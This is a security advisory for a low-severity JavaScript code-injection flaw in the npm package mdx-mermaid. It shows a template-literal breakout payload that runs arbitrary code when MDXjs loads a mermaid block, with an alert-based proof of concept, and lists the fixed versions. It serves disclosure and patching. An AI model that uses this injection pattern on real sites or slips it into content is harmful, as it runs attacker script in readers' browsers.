GHSA-rvgm-35jw-q628LowCVSS 3.6

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Published
August 31, 2022
Last Modified
January 29, 2023

🔗 CVE IDs covered (1)

📋 Description

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

🎯 Affected products2

  • npm/mdx-mermaid:< 1.3.0
  • npm/mdx-mermaid:= 2.0.0-rc1

🔗 References (4)